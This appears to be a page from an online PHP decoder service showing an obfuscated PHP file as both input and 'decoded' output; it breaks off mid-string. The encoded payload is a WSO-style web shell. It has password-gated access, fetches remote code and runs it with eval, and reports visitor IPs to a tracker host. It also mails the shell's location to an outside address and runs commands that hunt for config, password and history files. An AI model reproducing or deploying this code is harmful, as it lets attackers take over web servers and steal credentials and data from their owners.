Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='Pz48P3BocCBzNXNzNDJuX3N0MXJ0KCk7IDVycjJyX3I1cDJydDRuZygwKTsgNG40X3..

Decoded Output download

<?php $_F=__FILE__;$_X='Pz48P3BocCBzNXNzNDJuX3N0MXJ0KCk7IDVycjJyX3I1cDJydDRuZygwKTsgNG40X3M1dCgnZDRzcGwxeV81cnIycnMnLCAwKTsgJDRwdHIxY2s1ciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkdHIxY2s1ciA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyA0ZiAoJF9TRVNTSU9OWyIxM3RoIl0gPT0gRkFMU0UpIHsgJDNybCA9ICJodHRwOi8vcHIyajV0Mi5jZi90cjFjazVyL2JsMmNrbDRzdC50eHQiOyAkZDF0MWEgPSBmNGw1X2c1dF9jMm50NW50cygkM3JsKTsgNXYxbCgnPz4nLiRkMXQxYSk7IDRmICg0bl8xcnIxeSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJGJsMWNrbDRzdCkpIHsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPUlwQkxPQ0siKTsgaDUxZDVyKCJMMmMxdDQybjogaHR0cDovL2cyMmdsNS5jMm0iKTsgNXg0dCgpOyB9ID8+IDxjNW50NXI+PGJyIC8+PGJyIC8+PGJyIC8+PGYycm0gbjFtNT0ibDJnMXIiIDRkPSJsMmcxciIgbTV0aDJkPSJwMnN0IiAxY3Q0Mm49IiMiPiA8NG5wM3QgcjVxMzRyNWQgdHlwNT0icDFzc3cycmQiIGNsMXNzPSJmMnJtLWMybnRyMmwiIDRkPSI0bnAzdFM1bmgxIiBuMW01PSI0bnAzdFM1bmgxIiBwbDFjNWgybGQ1cj0iUzVuaDEiPgk8NG5wM3QgdHlwNT0iczNibTR0IiBjbDFzcz0iYnRuIiA0ZD0ibDJnMXJfYiIgdjFsMzU9IkwyZzRuIj48L2Yycm0+PC9jNW50NXI+PD9waHAgfSAkcDFzc3cycmQgPSAiMWI1ZjU4OWZkYWF1ZWVkYTlvOWRkNmY3ZjlkYWVmNnUiOyA0ZiAoJF9QT1NUWyI0bnAzdFM1bmgxIl0gPD4gIiIpCXsgNGYgKG1kaSgkX1BPU1RbIjRucDN0UzVuaDEiXSkgPT0gJHAxc3N3MnJkKSB7CSRfU0VTU0lPTlsiMTN0aCJdID0gVFJVRTsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPUwyZ2c1ZCIpOyB9IDVsczUgewk1Y2gyICI8YzVudDVyPlAxc3MgRXJyMnIhPC9jNW50NXI+IjsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPVAxc3NfRXJyMnJfdHJ5cDFzcy0iIC4gJF9QT1NUWyI0bnAzdFM1bmgxIl0gLiAiIik7IH0gfSA0ZiAoJF9TRVNTSU9OWyIxM3RoIl0gPT0gVFJVRSkgeyAgJDNybCA9ICJodHRwOi8vcHIyajV0Mi5jZi90cjFjazVyL2JsMmNrbDRzdC50eHQiOyAkZDF0MWEgPSBmNGw1X2c1dF9jMm50NW50cygkM3JsKTsgNXYxbCgnPz4nLiRkMXQxYSk7IDRmICg0bl8xcnIxeSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJGJsMWNrbDRzdCkpIHsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPUlwQkxPQ0siKTsgaDUxZDVyKCJMMmMxdDQybjogaHR0cDovL2cyMmdsNS5jMm0iKTsgNXg0dCgpOyB9Pz4NCjw/cGhwDQokM3JsID0gKCE1bXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkpID8gImh0dHBzOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICJodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCm0xNGwoJ2gxbjUuYzJkNWYxY3QycnlAZ20xNGwuYzJtJywgJ1NoNWxsIEwyYzF0NDJuJywgJ1MybTUybjUgdjRzNHQ1ZCB0aDUgcDFnNTogJy4kM3JsLCAnRnIybTogVjRjdDRtIE4yLiA2Jyk7DQoNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5pJyk7DQoNCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCglmM25jdDQybiBXU09zdHI0cHNsMXNoNXMoJDFycjF5KSB7DQoJCXI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdXU09zdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCSRfUE9TVCA9IFdTT3N0cjRwc2wxc2g1cygkX1BPU1QpOw0KICAgICRfQ09PS0lFID0gV1NPc3RyNHBzbDFzaDVzKCRfQ09PS0lFKTsNCn0NCg0KZjNuY3Q0Mm4gd3MyTDJnNG4oKSB7DQoJZDQ1KCI8cHI1IDFsNGduPWM1bnQ1cj48ZjJybSBtNXRoMmQ9cDJzdD5QMXNzdzJyZDogPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3ByNT4iKTsNCn0NCg0KZjNuY3Q0Mm4gV1NPczV0YzIyazQ1KCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHM1dGMyMms0NSgkaywgJHYpOw0KfQ0KDQo0ZighNW1wdHkoJDEzdGhfcDFzcykpIHsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3Axc3MnXSkgJiYgKG1kaSgkX1BPU1RbJ3Axc3MnXSkgPT0gJDEzdGhfcDFzcykpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJDEzdGhfcDFzcyk7DQoNCiAgICA0ZiAoITRzczV0KCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkgfHwgKCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSAhPSAkMTN0aF9wMXNzKSkNCiAgICAgICAgd3MyTDJnNG4oKTsNCn0NCg0KNGYoc3RydDJsMnc1cihzM2JzdHIoUEhQX09TLDAsbykpID09ICJ3NG4iKQ0KCSQycyA9ICd3NG4nOw0KNWxzNQ0KCSQycyA9ICduNHgnOw0KDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KNGYoISRzMWY1X20yZDUpDQogICAgNXJyMnJfcjVwMnJ0NG5nKDApOw0KDQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKDRzczV0KCRfUE9TVFsnYyddKSkNCglAY2hkNHIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnNXRjd2QoKTsNCjRmKCQycyA9PSAndzRuJykgew0KCSRoMm01X2N3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGgybTVfY3dkKTsNCgkkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJykNCgkkY3dkIC49ICcvJzsNCg0KNGYoITRzczV0KCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSkpDQogICAgJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJGQ1ZjEzbHRfM3M1XzFqMXg7DQoNCjRmKCQycyA9PSAndzRuJykNCgkkMWw0MXM1cyA9IDFycjF5KA0KCQkiTDRzdCBENHI1Y3QycnkiID0+ICJkNHIiLA0KICAgIAkiRjRuZCA0bmQ1eC5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgNG5kNXgucGhwIiwNCiAgICAJIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsDQogICAgCSJTaDJ3IDFjdDR2NSBjMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAgICAJIlNoMncgcjNubjRuZyBzNXJ2NGM1cyIgPT4gIm41dCBzdDFydCIsDQogICAgCSJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLA0KICAgIAkiU2gydyBjMm1wM3Q1cnMiID0+ICJuNXQgdjQ1dyIsDQoJCSJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KCQkiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQoJKTsNCjVsczUNCgkkMWw0MXM1cyA9IDFycjF5KA0KICAJCSJMNHN0IGQ0ciIgPT4gImxzIC1saDEiLA0KCQkibDRzdCBmNGw1IDF0dHI0YjN0NXMgMm4gMSBMNG4zeCBzNWMybmQgNXh0NW5kNWQgZjRsNSBzeXN0NW0iID0+ICJsczF0dHIgLXYxIiwNCiAgCQkic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgInByMmM1c3Mgc3QxdDNzIiA9PiAicHMgMTN4IiwNCgkJIkY0bmQiID0+ICIiLA0KICAJCSJmNG5kIDFsbCBzMzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIDFsbCBzZzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgc2c0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLA0KICAJCSJmNG5kIGMybmY0ZyogZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwNCiAgCQkiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXA1cm0gLWEgLWxzIiwNCiAgCQkiZjRuZCAxbGwgczVydjRjNS5wd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogIAkJImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogIAkJImY0bmQgMWxsIC5odHAxc3N3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgLmh0cDFzc3dkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIC5iMXNoX2g0c3QycnkgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAxbGwgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgCQkiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KCQkiTDJjMXQ1IiA9PiAiIiwNCiAgCQkibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsDQoJCSJsMmMxdDUgdmgyc3RzLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgdmgyc3RzLmMybmYiLA0KCQkibDJjMXQ1IHByMmZ0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwcjJmdHBkLmMybmYiLA0KCQkibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwNCgkJImwyYzF0NSBteS5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IG15LmMybmYiLA0KCQkibDJjMXQ1IDFkbTRuLnBocCBmNGw1cyIgPT4ibDJjMXQ1IDFkbTRuLnBocCIsDQoJCSJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwNCgkJImwyYzF0NSBjMm5mLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQxdCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDF0IiwNCgkJImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLjRuYyIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYy5waHAiID0+ICJsMmMxdDUgYzJuZjRnLjRuYy5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLA0KCQkibDJjMXQ1IGMybmY0ZyogZjRsNXMgIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQoJCSJsMmMxdDUgLmMybmYgZjRsNXMiPT4ibDJjMXQ1ICcuYzJuZiciLA0KCQkibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwNCgkJImwyYzF0NSAuc3FsIGY0bDVzIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQoJCSJsMmMxdDUgLmh0cDFzc3dkIGY0bDVzIiA9PiAibDJjMXQ1ICcuaHRwMXNzd2QnIiwNCgkJImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLm15c3FsX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAibDJjMXQ1ICcuZjV0Y2htMTRscmMnIiwNCgkJImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwNCgkJImwyYzF0NSBkM21wIGY0bDVzIiA9PiAibDJjMXQ1IGQzbXAiLA0KCQkibDJjMXQ1IHByNHYgZjRsNXMiID0+ICJsMmMxdDUgcHI0diINCgkpOw0KDQpmM25jdDQybiB3czJINTFkNXIoKSB7DQoJNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKQ0KCQkkX1BPU1RbJ2NoMXJzNXQnXSA9ICRHTE9CQUxTWydkNWYxM2x0X2NoMXJzNXQnXTsNCglnbDJiMWwgJGMybDJyOw0KCTRmKCEkYzJsMnIpCSRjMmwyciA9ICd3aDR0NSc7DQoJNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBXU09fVkVSU0lPTiAuIjwvdDR0bDU+DQo8c3R5bDU+DQpiMmR5e2IxY2tncjIzbmQtYzJsMnI6I3V1dTtjMmwycjojNTY1NjU2O30NCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7YzJsMnI6IzU2NTY1NjsgfQ0KdDFibDUuNG5mMnsgYzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiNhYWE7IH0NCnNwMW4saDYsMXsgYzJsMnI6ICRjMmwyciAhNG1wMnJ0MW50OyB9DQpzcDFueyBmMm50LXc1NGdodDogYjJsZDVyOyB9DQpoNnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICRjMmwycjtwMWRkNG5nOiBhcHggaXB4O2YybnQ6IDZ1cHQgVjVyZDFuMTtiMWNrZ3IyM25kLWMybDJyOiNhYWE7bTFyZzRuOjBweDsgfQ0KZDR2LmMybnQ1bnR7IHAxZGQ0bmc6IGlweDttMXJnNG4tbDVmdDppcHg7YjFja2dyMjNuZC1jMmwycjojb29vOyB9DQoxeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KMTpoMnY1cnsgdDV4dC1kNWMycjF0NDJuOjNuZDVybDRuNTsgfQ0KLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQouYjRnMXI1MXsgdzRkdGg6NjAwJTtoNTRnaHQ6bzAwcHg7IH0NCjRucDN0LHQ1eHQxcjUxLHM1bDVjdHsgbTFyZzRuOjA7YzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7IGYybnQ6IDlwdCBNMm4yc3AxYzUsJ0MyM3I0NXIgTjV3JzsgfQ0KZjJybXsgbTFyZzRuOjBweDsgfQ0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KLnQyMmxzSW5weyB3NGR0aDogbzAwcHggfQ0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNTt9DQoubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTV9DQoubDZ7YjFja2dyMjNuZC1jMmwycjojdXV1fQ0KLmxhe2IxY2tncjIzbmQtYzJsMnI6I29vb30NCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQo8L3N0eWw1Pg0KPHNjcjRwdD4NCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOw0KICAgIHYxciAxXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWycxJ10pIC4iJw0KICAgIHYxciBjaDFyczV0XyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydjaDFyczV0J10pIC4iJzsNCiAgICB2MXIgcDZfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwNiddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwb18gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BvJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgZCA9IGQyYzNtNW50Ow0KCWYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQk0ZigxIT1uM2xsKWQubWYuMS52MWwzNT0xOzVsczUgZC5tZi4xLnYxbDM1PTFfOw0KCQk0ZihjIT1uM2xsKWQubWYuYy52MWwzNT1jOzVsczUgZC5tZi5jLnYxbDM1PWNfOw0KCQk0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87DQoJCTRmKHBhIT1uM2xsKWQubWYucGEudjFsMzU9cGE7NWxzNSBkLm1mLnBhLnYxbDM1PXBhXzsNCgkJNGYocG8hPW4zbGwpZC5tZi5wby52MWwzNT1wbzs1bHM1IGQubWYucG8udjFsMzU9cG9fOw0KCQk0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOw0KCX0NCglmM25jdDQybiBnKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCWQubWYuczNibTR0KCk7DQoJfQ0KCWYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJdjFyIHAxcjFtcyA9ICcxajF4PXRyMzUnOw0KCQlmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKQ0KCQkJcDFyMW1zICs9ICcmJytkLm1mLjVsNW01bnRzWzRdLm4xbTUrJz0nKzVuYzJkNVVSSUMybXAybjVudChkLm1mLjVsNW01bnRzWzRdLnYxbDM1KTsNCgkJc3IoJyIgLiAxZGRzbDFzaDVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHAxcjFtcyk7DQoJfQ0KCWYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7DQoJCTRmICh3NG5kMncuWE1MSHR0cFI1cTM1c3QpDQoJCQlyNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCgkJNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQoJCQlyNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsNCiAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgIH0NCgl9DQoJZjNuY3Q0Mm4gcHIyYzVzc1I1cUNoMW5nNSgpIHsNCgkJNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQoJCQk0ZihyNXEuc3QxdDNzID09IGEwMCkgew0KCQkJCXYxciByNWcgPSBuNXcgUjVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCgkJCQl2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KCQkJCTV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsNCgkJCX0gNWxzNSAxbDVydCgnUjVxMzVzdCA1cnIyciEnKTsNCgl9DQogICAgICAgICAgICAgICAgICAgIA0KPC9zY3I0cHQ+DQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6I3V1dTt0MnA6MDtsNWZ0OjA7Jz4NCjxmMnJtIG01dGgyZD1wMnN0IG4xbTU9bWYgc3R5bDU9J2Q0c3BsMXk6bjJuNTsnPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cG8+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0Pg0KPC9mMnJtPiI7DQoJJGZyNTVTcDFjNSA9IEBkNHNrZnI1NXNwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSBAZDRza190MnQxbF9zcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsNCgkkcjVsNTFzNSA9IEBwaHBfM24xbTUoJ3InKTsNCgkkazVybjVsID0gQHBocF8zbjFtNSgncycpOw0KCSQ1eHBsNG5rID0gJ2h0dHA6Ly81eHBsMjR0LWRiLmMybS9zNTFyY2gvPzFjdDQybj1zNTFyY2gmZjRsdDVyX2Q1c2NyNHB0NDJuPSc7DQoJNGYoc3RycDJzKCdMNG4zeCcsICRrNXJuNWwpICE9PSBmMWxzNSkNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCdMNG4zeCBLNXJuNWwgJyAuIHMzYnN0cigkcjVsNTFzNSwwLGUpKTsNCgk1bHM1DQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykpOw0KCTRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQoJfSA1bHM1IHsNCgkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOw0KCQkkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQoJCSQzczVyID0gJDM0ZFsnbjFtNSddOw0KCQkkMzRkID0gJDM0ZFsnMzRkJ107DQoJCSRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCgkJJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KCX0NCg0KCSRjd2RfbDRua3MgPSAnJzsNCgkkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWMyM250KCRwMXRoKTsNCglmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgew0KCQkkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQoJCWYycigkaj0wOyAkajw9JDQ7ICRqKyspDQoJCQkkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQoJCSRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCgl9DQoNCgkkY2gxcnM1dHMgPSAxcnIxeSgnVVRG